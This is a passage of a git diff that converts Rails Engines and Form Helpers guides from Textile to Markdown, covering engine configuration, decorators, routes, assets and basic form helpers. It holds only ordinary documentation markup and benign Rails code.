need to have an `attr_accessor` setup for this field so that the setter and getter methods are defined for it. -To do all this, you'll need to add the +attr_accessor+ for +author_name+, the association for the author and the +before_save+ call into +app/models/blorgh/post.rb+. The +author+ association will be hard-coded to the +User+ class for the time being. +To do all this, you'll need to add the `attr_accessor` for `author_name`, the association for the author and the `before_save` call into `app/models/blorgh/post.rb`. The `author` association will be hard-coded to the `User` class for the time being. -<ruby> +```ruby attr_accessor :author_name belongs_to :author, :class_name => "User" @@ -487,181 +492,183 @@ private def set_author self.author = User.find_or_create_by_name(author_name) end -</ruby> +``` -By defining that the +author+ association's object is represented by the +User+ class a link is established between the engine and the application. There needs to be a way of associating the records in the +blorgh_posts+ table with the records in the +users+ table. Because the association is called +author+, there should be an +author_id+ column added to the +blorgh_posts+ table. +By defining that the `author` association's object is represented by the `User` class a link is established between the engine and the application. There needs to be a way of associating the records in the `blorgh_posts` table with the records in the `users` table. Because the association is called `author`, there should be an `author_id` column added to the `blorgh_posts` table. To generate this new column, run this command within the engine: -<shell> +```bash $ rails g migration add_author_id_to_blorgh_posts author_id:integer -</shell> +``` NOTE: Due to the migration's name and the column specification after it, Rails will automatically know that you want to add a column to a specific table and write that into the migration for you. You don't need to tell it any more than this. This migration will need to be run on the application. To do that, it must first be copied using this command: -<shell> +```bash $ rake blorgh:install:migrations -</shell> +``` Notice here that only _one_ migration was copied over here. This is because the first two migrations were copied over the first time this command was run. -<plain> +``` NOTE Migration [timestamp]_create_blorgh_posts.rb from blorgh has been skipped. Migration with the same name already exists. NOTE Migration [timestamp]_create_blorgh_comments.rb from blorgh has been skipped. Migration with the same name already exists. Copied migration [timestamp]_add_author_id_to_blorgh_posts.rb from blorgh -</plain> +``` Run this migration using this command: -<shell> +```bash $ rake db:migrate -</shell> +``` -Now with all the pieces in place, an action will take place that will associate an author -- represented by a record in the +users+ table -- with a post, represented by the +blorgh_posts+ table from the engine. +Now with all the pieces in place, an action will take place that will associate an author -- represented by a record in the `users` table -- with a post, represented by the `blorgh_posts` table from the engine. -Finally, the author's name should be displayed on the post's page. Add this code above the "Title" output inside +app/views/blorgh/posts/show.html.erb+: +Finally, the author's name should be displayed on the post's page. Add this code above the "Title" output inside `app/views/blorgh/posts/show.html.erb`: -<erb> +```html+erb <p> <b>Author:</b> <%= @post.author %> </p> -</erb> +``` -By outputting +@post.author+ using the +<%=+ tag, the +to_s+ method will be called on the object. By default, this will look quite ugly: +By outputting `@post.author` using the `<%=` tag, the `to_s` method will be called on the object. By default, this will look quite ugly: -<plain> +``` #<User:0x00000100ccb3b0> -</plain> +``` -This is undesirable and it would be much better to have the user's name there. To do this, add a +to_s+ method to the +User+ class within the application: +This is undesirable and it would be much better to have the user's name there. To do this, add a `to_s` method to the `User` class within the application: -<ruby> +```ruby def to_s name end -</ruby> +``` Now instead of the ugly Ruby object output the author's name will be displayed. -h5. Using a controller provided by the application +#### Using a controller provided by the application -Because Rails controllers generally share code for things like authentication and accessing session variables, by default they inherit from <tt>ApplicationController</tt>. Rails engines, however are scoped to run independently from the main application, so each engine gets a scoped +ApplicationController+. This namespace prevents code collisions, but often engine controllers should access methods in the main application's +ApplicationController+. An easy way to provide this access is to change the engine's scoped +ApplicationController+ to inherit from the main application's +ApplicationController+. For our Blorgh engine this would be done by changing +app/controllers/blorgh/application_controller.rb+ to look like: +Because Rails controllers generally share code for things like authentication and accessing session variables, by default they inherit from `ApplicationController`. Rails engines, however are scoped to run independently from the main application, so each engine gets a scoped `ApplicationController`. This namespace prevents code collisions, but often engine controllers should access methods in the main application's `ApplicationController`. An easy way to provide this access is to change the engine's scoped `ApplicationController` to inherit from the main application's `ApplicationController`. For our Blorgh engine this would be done by changing `app/controllers/blorgh/application_controller.rb` to look like: -<ruby> +```ruby class Blorgh::ApplicationController < ApplicationController end -</ruby> +``` -By default, the engine's controllers inherit from <tt>Blorgh::ApplicationController</tt>. So, after making this change they will have access to the main applications +ApplicationController+ as though they were part of the main application. +By default, the engine's controllers inherit from `Blorgh::ApplicationController`. So, after making this change they will have access to the main applications `ApplicationController` as though they were part of the main application. -This change does require that the engine is run from a Rails application that has an +ApplicationController+. +This change does require that the engine is run from a Rails application that has an `ApplicationController`. -h4. Configuring an engine +### Configuring an engine -This section covers how to make the +User+ class configurable, followed by general configuration tips for the engine. +This section covers how to make the `User` class configurable, followed by general configuration tips for the engine. -h5. Setting configuration settings in the application +#### Setting configuration settings in the application -The next step is to make the class that represents a +User+ in the application customizable for the engine. This is because, as explained before, that class may not always be +User+. To make this customizable, the engine will have a configuration setting called +user_class+ that will be used to specify what the class representing users is inside the application. +The next step is to make the class that represents a `User` in the application customizable for the engine. This is because, as explained before, that class may not always be `User`. To make this customizable, the engine will have a configuration setting called `user_class` that will be used to specify what the class representing users is inside the application. -To define this configuration setting, you should use a +mattr_accessor+ inside the +Blorgh+ module for the engine, located at +lib/blorgh.rb+ inside the engine. Inside this module, put this line: +To define this configuration setting, you should use a `mattr_accessor` inside the `Blorgh` module for the engine, located at `lib/blorgh.rb` inside the engine. Inside this module, put this line: -<ruby> +```ruby mattr_accessor :user_class -</ruby> +``` -This method works like its brothers +attr_accessor+ and +cattr_accessor+, but provides a setter and getter method on the module with the specified name. To use it, it must be referenced using +Blorgh.user_class+. +This method works like its brothers `attr_accessor` and `cattr_accessor`, but provides a setter and getter method on the module with the specified name. To use it, it must be referenced using `Blorgh.user_class`. -The next step is switching the +Blorgh::Post+ model over to this new setting. For the +belongs_to+ association inside this model (+app/models/blorgh/post.rb+), it will now become this: +The next step is switching the `Blorgh::Post` model over to this new setting. For the `belongs_to` association inside this model (`app/models/blorgh/post.rb`), it will now become this: -<ruby> +```ruby belongs_to :author, :class_name => Blorgh.user_class -</ruby> +``` -The +set_author+ method also located in this class should also use this class: +The `set_author` method also located in this class should also use this class: -<ruby> +```ruby self.author = Blorgh.user_class.constantize.find_or_create_by_name(author_name) -</ruby> +``` -To save having to call +constantize+ on the +user_class+ result all the time, you could instead just override the +user_class+ getter method inside the +Blorgh+ module in the +lib/blorgh.rb+ file to always call +constantize+ on the saved value before returning the result: +To save having to call `constantize` on the `user_class` result all the time, you could instead just override the `user_class` getter method inside the `Blorgh` module in the `lib/blorgh.rb` file to always call `constantize` on the saved value before returning the result: -<ruby> +```ruby def self.user_class @@user_class.constantize end -</ruby> +``` -This would then turn the above code for +set_author+ into this: +This would then turn the above code for `set_author` into this: -<ruby> +```ruby self.author = Blorgh.user_class.find_or_create_by_name(author_name) -</ruby> +``` -Resulting in something a little shorter, and more implicit in its behaviour. The +user_class+ method should always return a +Class+ object. +Resulting in something a little shorter, and more implicit in its behaviour. The `user_class` method should always return a `Class` object. To set this configuration setting within the application, an initializer should be used. By using an initializer, the configuration will be set up before the application starts and calls the engine's models which may depend on this configuration setting existing. -Create a new initializer at +config/initializers/blorgh.rb+ inside the application where the +blorgh+ engine is installed and put this content in it: +Create a new initializer at `config/initializers/blorgh.rb` inside the application where the `blorgh` engine is installed and put this content in it: -<ruby> +```ruby Blorgh.user_class = "User" -</ruby> +``` -WARNING: It's very important here to use the +String+ version of the class, rather than the class itself. If you were to use the class, Rails would attempt to load that class and then reference the related table, which could lead to problems if the table wasn't already existing. Therefore, a +String+ should be used and then converted to a class using +constantize+ in the engine later on. +WARNING: It's very important here to use the `String` version of the class, rather than the class itself. If you were to use the class, Rails would attempt to load that class and then reference the related table, which could lead to problems if the table wasn't already existing. Therefore, a `String` should be used and then converted to a class using `constantize` in the engine later on. -Go ahead and try to create a new post. You will see that it works exactly in the same way as before, except this time the engine is using the configuration setting in +config/initializers/blorgh.rb+ to learn what the class is. +Go ahead and try to create a new post. You will see that it works exactly in the same way as before, except this time the engine is using the configuration setting in `config/initializers/blorgh.rb` to learn what the class is. -There are now no strict dependencies on what the class is, only what the API for the class must be. The engine simply requires this class to define a +find_or_create_by_name+ method which returns an object of that class to be associated with a post when it's created. This object, of course, should have some sort of identifier by which it can be referenced. +There are now no strict dependencies on what the class is, only what the API for the class must be. The engine simply requires this class to define a `find_or_create_by_name` method which returns an object of that class to be associated with a post when it's created. This object, of course, should have some sort of identifier by which it can be referenced. -h5. General engine configuration +#### General engine configuration Within an engine, there may come a time where you wish to use things such as initializers, internationalization or other configuration options. The great news is that these things are entirely possible because a Rails engine shares much the same functionality as a Rails application. In fact, a Rails application's functionality is actually a superset of what is provided by engines! -If you wish to use an initializer -- code that should run before the engine is loaded -- the place for it is the +config/initializers+ folder. This directory's functionality is explained in the "Initializers section":http://guides.rubyonrails.org/configuring.html#initializers of the Configuring guide, and works precisely the same way as the +config/initializers+ directory inside an application. Same goes for if you want to use a standard initializer. +If you wish to use an initializer -- code that should run before the engine is loaded -- the place for it is the `config/initializers` folder. This directory's functionality is explained in the [Initializers section](http://guides.rubyonrails.org/configuring.html#initializers) of the Configuring guide, and works precisely the same way as the `config/initializers` directory inside an application. Same goes for if you want to use a standard initializer. -For locales, simply place the locale files in the +config/locales+ directory, just like you would in an application. +For locales, simply place the locale files in the `config/locales` directory, just like you would in an application. -h3. Testing an engine +Testing an engine +----------------- -When an engine is generated there is a smaller dummy application created inside it at +test/dummy+. This application is used as a mounting point for the engine to make testing the engine extremely simple. You may extend this application by generating controllers, models or views from within the directory, and then use those to test your engine. +When an engine is generated there is a smaller dummy application created inside it at `test/dummy`. This application is used as a mounting point for the engine to make testing the engine extremely simple. You may extend this application by generating controllers, models or views from within the directory, and then use those to test your engine. -The +test+ directory should be treated like a typical Rails testing environment, allowing for unit, functional and integration tests. +The `test` directory should be treated like a typical Rails testing environment, allowing for unit, functional and integration tests. -h4. Functional tests +### Functional tests -A matter worth taking into consideration when writing functional tests is that the tests are going to be running on an application -- the +test/dummy+ application -- rather than your engine. This is due to the setup of the testing environment; an engine needs an application as a host for testing its main functionality, especially controllers. This means that if you were to make a typical +GET+ to a controller in a controller's functional test like this: +A matter worth taking into consideration when writing functional tests is that the tests are going to be running on an application -- the `test/dummy` application -- rather than your engine. This is due to the setup of the testing environment; an engine needs an application as a host for testing its main functionality, especially controllers. This means that if you were to make a typical `GET` to a controller in a controller's functional test like this: -<ruby> +```ruby get :index -</ruby> +``` -It may not function correctly. This is because the application doesn't know how to route these requests to the engine unless you explicitly tell it *how*. To do this, you must pass the +:use_route+ option (as a parameter) on these requests also: +It may not function correctly. This is because the application doesn't know how to route these requests to the engine unless you explicitly tell it **how**. To do this, you must pass the `:use_route` option (as a parameter) on these requests also: -<ruby> +```ruby get :index, :use_route => :blorgh -</ruby> +``` -This tells the application that you still want to perform a +GET+ request to the +index+ action of this controller, just that you want to use the engine's route to get there, rather than the application. +This tells the application that you still want to perform a `GET` request to the `index` action of this controller, just that you want to use the engine's route to get there, rather than the application. -h3. Improving engine functionality +Improving engine functionality +------------------------------ This section explains how to add and/or override engine MVC functionality in the main Rails application. -h4. Overriding Models and Controllers +### Overriding Models and Controllers Engine model and controller classes can be extended by open classing them in the main Rails application (since model and controller classes are just Ruby classes that inherit Rails specific functionality). Open classing an Engine class redefines it for use in the main applicaiton. This is usually implemented by using the decorator pattern. -For simple class modifications use +Class#class_eval+, and for complex class modifications, consider using +ActiveSupport::Concern+. +For simple class modifications use `Class#class_eval`, and for complex class modifications, consider using `ActiveSupport::Concern`. -h5. Implementing Decorator Pattern Using Class#class_eval +#### Implementing Decorator Pattern Using Class#class_eval -**Adding** +Post#time_since_created+, +**Adding** `Post#time_since_created`, -<ruby> +```ruby # MyApp/app/decorators/models/blorgh/post_decorator.rb Blorgh::Post.class_eval do @@ -669,20 +676,20 @@ Blorgh::Post.class_eval do Time.current - created_at end end -</ruby> +``` -<ruby> +```ruby # Blorgh/app/models/post.rb class Post < ActiveRecord::Base has_many :comments end -</ruby> +``` -**Overriding** +Post#summary+ +**Overriding** `Post#summary` -<ruby> +```ruby # MyApp/app/decorators/models/blorgh/post_decorator.rb Blorgh::Post.class_eval do @@ -690,9 +697,9 @@ Blorgh::Post.class_eval do "#{title} - #{truncate(text)}" end end -</ruby> +``` -<ruby> +```ruby # Blorgh/app/models/post.rb class Post < ActiveRecord::Base @@ -701,17 +708,17 @@ class Post < ActiveRecord::Base "#{title}" end end -</ruby> +``` -h5. Implementing Decorator Pattern Using ActiveSupport::Concern +#### Implementing Decorator Pattern Using ActiveSupport::Concern -Using +Class#class_eval+ is great for simple adjustments, but for more complex class modifications, you might want to consider using +ActiveSupport::Concern+. ["**ActiveSupport::Concern**":http://edgeapi.rubyonrails.org/classes/ActiveSupport/Concern.html] helps manage the load order of interlinked dependencies at run time allowing you to significantly modularize your code. +Using `Class#class_eval` is great for simple adjustments, but for more complex class modifications, you might want to consider using `ActiveSupport::Concern`. [[**ActiveSupport::Concern**](http://edgeapi.rubyonrails.org/classes/ActiveSupport/Concern.html]) helps manage load order of interlinked dependencies at run time allowing you to significantly modularize your code. -**Adding** +Post#time_since_created+<br/> -**Overriding** +Post#summary+ +**Adding** `Post#time_since_created`<br/> +**Overriding** `Post#summary` -<ruby> +```ruby # MyApp/app/models/blorgh/post.rb class Blorgh::Post < ActiveRecord::Base @@ -725,17 +732,17 @@ class Blorgh::Post < ActiveRecord::Base "#{title} - #{truncate(text)}" end end -</ruby> +``` -<ruby> +```ruby # Blorgh/app/models/post.rb class Post < ActiveRecord::Base include Blorgh::Concerns::Models::Post end -</ruby> +``` -<ruby> +```ruby # Blorgh/lib/concerns/models/post module Blorgh::Concerns::Models::Post @@ -767,19 +774,19 @@ module Blorgh::Concerns::Models::Post end end end -</ruby> +``` -h4. Overriding views +### Overriding views -When Rails looks for a view to render, it will first look in the +app/views+ directory of the application. If it cannot find the view there, then it will check in the +app/views+ directories of all engines which have this directory. +When Rails looks for a view to render, it will first look in the `app/views` directory of the application. If it cannot find the view there, then it will check in the `app/views` directories of all engines which have this directory. -In the +blorgh+ engine, there is a currently a file at +app/views/blorgh/posts/index.html.erb+. When the engine is asked to render the view for +Blorgh::PostsController+'s +index+ action, it will first see if it can find it at +app/views/blorgh/posts/index.html.erb+ within the application and then if it cannot it will look inside the engine. +In the `blorgh` engine, there is a currently a file at `app/views/blorgh/posts/index.html.erb`. When the engine is asked to render the view for `Blorgh::PostsController`'s `index` action, it will first see if it can find it at `app/views/blorgh/posts/index.html.erb` within the application and then if it cannot it will look inside the engine. -You can override this view in the application by simply creating a new file at +app/views/blorgh/posts/index.html.erb+. Then you can completely change what this view would normally output. +You can override this view in the application by simply creating a new file at `app/views/blorgh/posts/index.html.erb`. Then you can completely change what this view would normally output. -Try this now by creating a new file at +app/views/blorgh/posts/index.html.erb+ and put this content in it: +Try this now by creating a new file at `app/views/blorgh/posts/index.html.erb` and put this content in it: -<erb> +```html+erb <h1>Posts</h1> <%= link_to "New Post", new_post_path %> <% @posts.each do |post| %> @@ -788,113 +795,113 @@ Try this now by creating a new file at +app/views/blorgh/posts/index.html.erb+ a <%= simple_format(post.text) %> <hr> <% end %> -</erb> +``` -h4. Routes +### Routes -Routes inside an engine are, by default, isolated from the application. This is done by the +isolate_namespace+ call inside the +Engine+ class. This essentially means that the application and its engines can have identically named routes, and that they will not clash. +Routes inside an engine are, by default, isolated from the application. This is done by the `isolate_namespace` call inside the `Engine` class. This essentially means that the application and its engines can have identically named routes, and that they will not clash. -Routes inside an engine are drawn on the +Engine+ class within +config/routes.rb+, like this: +Routes inside an engine are drawn on the `Engine` class within `config/routes.rb`, like this: -<ruby> +```ruby Blorgh::Engine.routes.draw do resources :posts end -</ruby> +``` -By having isolated routes such as this, if you wish to link to an area of an engine from within an application, you will need to use the engine's routing proxy method. Calls to normal routing methods such as +posts_path+ may end up going to undesired locations if both the application and the engine both have such a helper defined. +By having isolated routes such as this, if you wish to link to an area of an engine from within an application, you will need to use the engine's routing proxy method. Calls to normal routing methods such as `posts_path` may end up going to undesired locations if both the application and the engine both have such a helper defined. -For instance, the following example would go to the application's +posts_path+ if that template was rendered from the application, or the engine's +posts_path+ if it was rendered from the engine: +For instance, the following example would go to the application's `posts_path` if that template was rendered from the application, or the engine's `posts_path` if it was rendered from the engine: -<erb> +```erb <%= link_to "Blog posts", posts_path %> -</erb> +``` -To make this route always use the engine's +posts_path+ routing helper method, we must call the method on the routing proxy method that shares the same name as the engine. +To make this route always use the engine's `posts_path` routing helper method, we must call the method on the routing proxy method that shares the same name as the engine. -<erb> +```erb <%= link_to "Blog posts", blorgh.posts_path %> -</erb> +``` -If you wish to reference the application inside the engine in a similar way, use the +main_app+ helper: +If you wish to reference the application inside the engine in a similar way, use the `main_app` helper: -<erb> +```erb <%= link_to "Home", main_app.root_path %> -</erb> +``` -If you were to use this inside an engine, it would *always* go to the application's root. If you were to leave off the +main_app+ "routing proxy" method call, it could potentially go to the engine's or application's root, depending on where it was called from. +If you were to use this inside an engine, it would **always** go to the application's root. If you were to leave off the `main_app` "routing proxy" method call, it could potentially go to the engine's or application's root, depending on where it was called from. -If a template is rendered from within an engine and it's attempting to use one of the application's routing helper methods, it may result in an undefined method call. If you encounter such an issue, ensure that you're not attempting to call the application's routing methods without the +main_app+ prefix from within the engine. +If a template is rendered from within an engine and it's attempting to use one of the application's routing helper methods, it may result in an undefined method call. If you encounter such an issue, ensure that you're not attempting to call the application's routing methods without the `main_app` prefix from within the engine. -h4. Assets +### Assets -Assets within an engine work in an identical way to a full application. Because the engine class inherits from +Rails::Engine+, the application will know to look up in the engine's +app/assets+ and +lib/assets+ directories for potential assets. +Assets within an engine work in an identical way to a full application. Because the engine class inherits from `Rails::Engine`, the application will know to look up in the engine's `app/assets` and `lib/assets` directories for potential assets. -Much like all the other components of an engine, the assets should also be namespaced. This means if you have an asset called +style.css+, it should be placed at +app/assets/stylesheets/[engine name]/style.css+, rather than +app/assets/stylesheets/style.css+. If this asset wasn't namespaced, then there is a possibility that the host application could have an asset named identically, in which case the application's asset would take precedence and the engine's one would be all but ignored. +Much like all the other components of an engine, the assets should also be namespaced. This means if you have an asset called `style.css`, it should be placed at `app/assets/stylesheets/[engine name]/style.css`, rather than `app/assets/stylesheets/style.css`. If this asset wasn't namespaced, then there is a possibility that the host application could have an asset named identically, in which case the application's asset would take precedence and the engine's one would be all but ignored. -Imagine that you did have an asset located at +app/assets/stylesheets/blorgh/style.css+ To include this asset inside an application, just use +stylesheet_link_tag+ and reference the asset as if it were inside the engine: +Imagine that you did have an asset located at `app/assets/stylesheets/blorgh/style.css` To include this asset inside an application, just use `stylesheet_link_tag` and reference the asset as if it were inside the engine: -<erb> +```erb <%= stylesheet_link_tag "blorgh/style.css" %> -</erb> +``` You can also specify these assets as dependencies of other assets using the Asset Pipeline require statements in processed files: -<plain> +``` /* *= require blorgh/style */ -</plain> +``` -INFO. Remember that in order to use languages like Sass or CoffeeScript, you should add the relevant library to your engine's +.gemspec+. +INFO. Remember that in order to use languages like Sass or CoffeeScript, you should add the relevant library to your engine's `.gemspec`. -h4. Separate Assets & Precompiling +### Separate Assets & Precompiling There are some situations where your engine's assets are not required by the host application. For example, say that you've created -an admin functionality that only exists for your engine. In this case, the host application doesn't need to require +admin.css+ -or +admin.js+. Only the gem's admin layout needs these assets. It doesn't make sense for the host app to include +"blorg/admin.css"+ in it's stylesheets. In this situation, you should explicitly define these assets for precompilation. -This tells sprockets to add your engine assets when +rake assets:precompile+ is ran. +an admin functionality that only exists for your engine. In this case, the host application doesn't need to require `admin.css` +or `admin.js`. Only the gem's admin layout needs these assets. It doesn't make sense for the host app to include `"blorg/admin.css"` in it's stylesheets. In this situation, you should explicitly define these assets for precompilation. +This tells sprockets to add your engine assets when `rake assets:precompile` is ran. -You can define assets for precompilation in +engine.rb+ +You can define assets for precompilation in `engine.rb` -<ruby> +```ruby initializer "blorgh.assets.precompile" do |app| app.config.assets.precompile += %w(admin.css admin.js) end -</ruby> +``` -For more information, read the "Asset Pipeline guide":http://guides.rubyonrails.org/asset_pipeline.html +For more information, read the [Asset Pipeline guide](http://guides.rubyonrails.org/asset_pipeline.html) -h4. Other gem dependencies +### Other gem dependencies -Gem dependencies inside an engine should be specified inside the +.gemspec+ file at the root of the engine. The reason for this is because the engine may -be installed as a gem. If dependencies were to be specified inside the +Gemfile+, +Gem dependencies inside an engine should be specified inside the `.gemspec` file at the root of the engine. The reason for this is because the engine may +be installed as a gem. If dependencies were to be specified inside the `Gemfile`, these would not be recognised by a traditional gem install and so they would not be installed, causing the engine to malfunction. To specify a dependency that should be installed with the engine during a -traditional +gem install+, specify it inside the +Gem::Specification+ block -inside the +.gemspec+ file in the engine: +traditional `gem install`, specify it inside the `Gem::Specification` block +inside the `.gemspec` file in the engine: -<ruby> +```ruby s.add_dependency "moo" -</ruby> +``` To specify a dependency that should only be installed as a development dependency of the application, specify it like this: -<ruby> +```ruby s.add_development_dependency "moo" -</ruby> +``` -Both kinds of dependencies will be installed when +bundle install+ is run inside +Both kinds of dependencies will be installed when `bundle install` is run inside the application. The development dependencies for the gem will only be used when the tests for the engine are running. Note that if you want to immediately require dependencies when the engine is required, you should require them before the engine's initialization. For example: -<ruby> +```ruby require 'other_engine/engine' require 'yet_another_engine/engine' @@ -902,4 +909,4 @@ module MyEngine class Engine < ::Rails::Engine end end -</ruby>
\ No newline at end of file +``` diff --git a/guides/source/form_helpers.textile b/guides/source/form_helpers.md index d704b78f83..ec1f1d4df1 100644 --- a/guides/source/form_helpers.textile +++ b/guides/source/form_helpers.md @@ -1,4 +1,5 @@ -h2. Rails Form helpers +Rails Form helpers +================== Forms in web applications are an essential interface for user input. However, form markup can quickly become tedious to write and maintain because of form control naming and their numerous attributes. Rails deals away with these complexities by providing view helpers for generating form markup. However, since they have different use-cases, developers are required to know all the differences between similar helper methods before putting them to use. @@ -12,24 +13,25 @@ In this guide you will: * Learn some cases of building forms to external resources * Find out how to build complex forms -endprologue. +-------------------------------------------------------------------------------- -NOTE: This guide is not intended to be a complete documentation of available form helpers and their arguments. Please visit "the Rails API documentation":http://api.rubyonrails.org/ for a complete reference. +NOTE: This guide is not intended to be a complete documentation of available form helpers and their arguments. Please visit [the Rails API documentation](http://api.rubyonrails.org/) for a complete reference. -h3. Dealing with Basic Forms +Dealing with Basic Forms +------------------------ -The most basic form helper is +form_tag+. +The most basic form helper is `form_tag`. -<erb> +```erb <%= form_tag do %> Form contents <% end %> -</erb> +``` -When called without arguments like this, it creates a +<form>+ tag which, when submitted, will POST to the current page. For instance, assuming the current page is +/home/index+, the generated HTML will look like this (some line breaks added for readability): +When called without arguments like this, it creates a `<form>` tag which, when submitted, will POST to the current page. For instance, assuming the current page is `/home/index`, the generated HTML will look like this (some line breaks added for readability): -<html> +```html <form accept-charset="UTF-8" action="/home/index" method="post"> <div style="margin:0;padding:0"> <input name="utf8" type="hidden" value="✓" /> @@ -37,122 +39,122 @@ When called without arguments like this, it creates a +<form>+ tag which, </div> Form contents </form> -</html> +``` -Now, you'll notice that the HTML contains something extra: a +div+ element with two hidden input elements inside. This div is important, because the form cannot be successfully submitted without it. The first input element with name +utf8+ enforces browsers to properly respect your form's character encoding and is generated for all forms whether their actions are "GET" or "POST". The second input element with name +authenticity_token+ is a security feature of Rails called *cross-site request forgery protection*, and form helpers generate it for every non-GET form (provided that this security feature is enabled). You can read more about this in the "Security Guide":./security.html#cross-site-request-forgery-csrf. +Now, you'll notice that the HTML contains something extra: a `div` element with two hidden input elements inside. This div is important, because the form cannot be successfully submitted without it. The first input element with name `utf8` enforces browsers to properly respect your form's character encoding and is generated for all forms whether their actions are "GET" or "POST". The second input element with name `authenticity_token` is a security feature of Rails called **cross-site request forgery protection**, and form helpers generate it for every non-GET form (provided that this security feature is enabled). You can read more about this in the [Security Guide](./security.html#cross-site-request-forgery-csrf). -NOTE: Throughout this guide, the +div+ with the hidden input elements will be excluded from code samples for brevity. +NOTE: Throughout this guide, the `div` with the hidden input elements will be excluded from code samples for brevity. -h4. A Generic Search Form +### A Generic Search Form One of the most basic forms you see on the web is a search form. This form contains: -# a form element with "GET" method, -# a label for the input, -# a text input element, and -# a submit element. +* a form element with "GET" method, +* a label for the input, +* a text input element, and +* a submit element. -To create this form you will use +form_tag+, +label_tag+, +text_field_tag+, and +submit_tag+, respectively. Like this: +To create this form you will use `form_tag`, `label_tag`, `text_field_tag`, and `submit_tag`, respectively. Like this: -<erb> +```erb <%= form_tag("/search", :method => "get") do %> <%= label_tag(:q, "Search for:") %> <%= text_field_tag(:q) %> <%= submit_tag("Search") %> <% end %> -</erb> +``` This will generate the following HTML: -<html> +```html <form accept-charset="UTF-8" action="/search" method="get"> <label for="q">Search for:</label> <input id="q" name="q" type="text" /> <input name="commit" type="submit" value="Search" /> </form> -</html> +``` TIP: For every form input, an ID attribute is generated from its name ("q" in the example). These IDs can be very useful for CSS styling or manipulation of form controls with JavaScript. -Besides +text_field_tag+ and +submit_tag+, there is a similar helper for _every_ form control in HTML. +Besides `text_field_tag` and `submit_tag`, there is a similar helper for _every_ form control in HTML. IMPORTANT: Always use "GET" as the method for search forms. This allows users to bookmark a specific search and get back to it. More generally Rails encourages you to use the right HTTP verb for an action. -h4. Multiple Hashes in Form Helper Calls +### Multiple Hashes in Form Helper Calls -The +form_tag+ helper accepts 2 arguments: the path for the action and an options hash. This hash specifies the method of form submission and HTML options such as the form element's class. +The `form_tag` helper accepts 2 arguments: the path for the action and an options hash. This hash specifies the method of form submission and HTML options such as the form element's class. -As with the +link_to+ helper, the path argument doesn't have to be a string; it can be a hash of URL parameters recognizable by Rails' routing mechanism, which will turn the hash into a valid URL. However, since both arguments to +form_tag+ are hashes, you can easily run into a problem if you would like to specify both. For instance, let's say you write this: +As with the `link_to` helper, the path argument doesn't have to be a string; it can be a hash of URL parameters recognizable by Rails' routing mechanism, which will turn the hash into a valid URL. However, since both arguments to `form_tag` are hashes, you can easily run into a problem if you would like to specify both. For instance, let's say you write this: -<ruby> +```ruby form_tag(:controller => "people", :action => "search", :method => "get", :class => "nifty_form") # => '<form accept-charset="UTF-8" action="/people/search?method=get&class=nifty_form" method="post">' -</ruby> +``` -Here, +method+ and +class+ are appended to the query string of the generated URL because even though you mean to write two hashes, you really only specified one. So you need to tell Ruby which is which by delimiting the first hash (or both) with curly brackets. This will generate the HTML you expect: +Here, `method` and `class` are appended to the query string of the generated URL because even though you mean to write two hashes, you really only specified one. So you need to tell Ruby which is which by delimiting the first hash (or both) with curly brackets. This will generate the HTML you expect: -<ruby> +```ruby form_tag({:controller => "people", :action => "search"}, :method => "get", :class => "nifty_form") # => '<form accept-charset="UTF-8" action="/people/search" method="get" class="nifty_form">' -</ruby> +``` -h4. Helpers for Generating Form Elements +### Helpers for Generating Form Elements -Rails provides a series of helpers for generating form elements such as checkboxes, text fields, and radio buttons. These basic helpers, with names ending in "_tag" (such as +text_field_tag+ and +check_box_tag+), generate just a single +<input>+ element. The first parameter to these is always the name of the input. When the form is submitted, the name will be passed along with the form data, and will make its way to the +params+ hash in the controller with the value entered by the user for that field. For example, if the form contains +<%= text_field_tag(:query) %>+, then you would be able to get the value of this field in the controller with +params[:query]+. +Rails provides a series of helpers for generating form elements such as checkboxes, text fields, and radio buttons. These basic helpers, with names ending in "_tag" (such as `text_field_tag` and `check_box_tag`), generate just a single `<input>` element. The first parameter to these is always the name of the input. When the form is submitted, the name will be passed along with the form data, and will make its way to the `params` hash in the controller with the value entered by the user for that field. For example, if the form contains `<%= text_field_tag(:query) %>`, then you would be able to get the value of this field in the controller with `params[:query]`. -When naming inputs, Rails uses certain conventions that make it possible to submit parameters with non-scalar values such as arrays or hashes, which will also be accessible in +params+. You can read more about them in "chapter 7 of this guide":#understanding-parameter-naming-conventions. For details on the precise usage of these helpers, please refer to the "API documentation":http://api.rubyonrails.org/classes/ActionView/Helpers/FormTagHelper.html. +When naming inputs, Rails uses certain conventions that make it possible to submit parameters with non-scalar values such as arrays or hashes, which will also be accessible in `params`. You can read more about them in [chapter 7 of this guide](#understanding-parameter-naming-conventions). For details on the precise usage of these helpers, please refer to the [API documentation](http://api.rubyonrails.org/classes/ActionView/Helpers/FormTagHelper.html). -h5. Checkboxes +#### Checkboxes Checkboxes are form controls that give the user a set of options they can enable or disable: -<erb> +```erb <%= check_box_tag(:pet_dog) %> <%= label_tag(:pet_dog, "I own a dog") %> <%= check_box_tag(:pet_cat) %> <%= label_tag(:pet_cat, "I own a cat") %> -</erb> +``` This generates the following: -<html> +```html <input id="pet_dog" name="pet_dog" type="checkbox" value="1" /> <label for="pet_dog">I own a dog</label> <input id="pet_cat" name="pet_cat" type="checkbox" value="1" /> <label for="pet_cat">I own a cat</label> -</html> +``` -The first parameter to +check_box_tag+, of course, is the name of the input. The second parameter, naturally, is the value of the input. This value will be included in the form data (and be present in +params+) when the checkbox is checked. +The first parameter to `check_box_tag`, of course, is the name of the input. The second parameter, naturally, is the value of the input. This value will be included in the form data (and be present in `params`) when the checkbox is checked. -h5. Radio Buttons +#### Radio Buttons Radio buttons, while similar to checkboxes, are controls that specify a set of options in which they are mutually exclusive (i.e., the user can only pick one): -<erb> +```erb <%= radio_button_tag(:age, "child") %> <%= label_tag(:age_child, "I am younger than 21") %> <%= radio_button_tag(:age, "adult") %> <%= label_tag(:age_adult, "I'm over 21") %> -</erb> +``` Output: -<html> +```html <input id="age_child" name="age" type="radio" value="child" /> <label for="age_child">I am younger than 21</label> <input id="age_adult" name="age" type="radio" value="adult" /> <label for="age_adult">I'm over 21</label> -</html> +``` -As with +check_box_tag+, the second parameter to +radio_button_tag+ is the value of the input. Because these two radio buttons share the same name (age) the user will only be able to select one, and +params[:age]+ will contain either "child" or "adult". +As with `check_box_tag`, the second parameter to `radio_button_tag` is the value of the input. Because these two radio buttons share the same name (age) the user will only be able to select one, and `params[:age]` will contain either "child" or "adult". NOTE: Always use labels for checkbox and radio buttons. They associate text with a specific option and make it easier for users to click the inputs by expanding the clickable region. -h4. Other Helpers of Interest +### Other 